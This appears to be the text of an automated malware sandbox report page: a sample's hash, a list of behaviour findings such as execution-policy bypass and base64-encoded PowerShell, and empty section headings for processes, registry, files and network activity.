90E837496EE98350C43FCBDDB5C6A8CAE1719EDFA1ACF8B9F1E159AAA01D6F81

96:05LtxFhATBJg0NzOGfOdFbyVxlphomVtx3ATZAr:05FhzifO/ypQmWo

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Bypass execution policy to execute commands

Modifies registry (POWERSHELL)

SUSPICIOUS

Starts POWERSHELL.EXE for commands execution

BASE64 encoded PowerShell command has been detected

Application launched itself

Base64-obfuscated command line is found

Uses base64 encoding (POWERSHELL)

Checks a user's role membership (POWERSHELL)

INFO

Manual execution by a user

Converts byte array into ASCII string (POWERSHELL)

Uses string replace method (POWERSHELL)

Gets or sets the time when the file was last written to (POWERSHELL)

Disables trace logs

Script raised an exception (POWERSHELL)

Checks current location (POWERSHELL)

Checks proxy server information

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings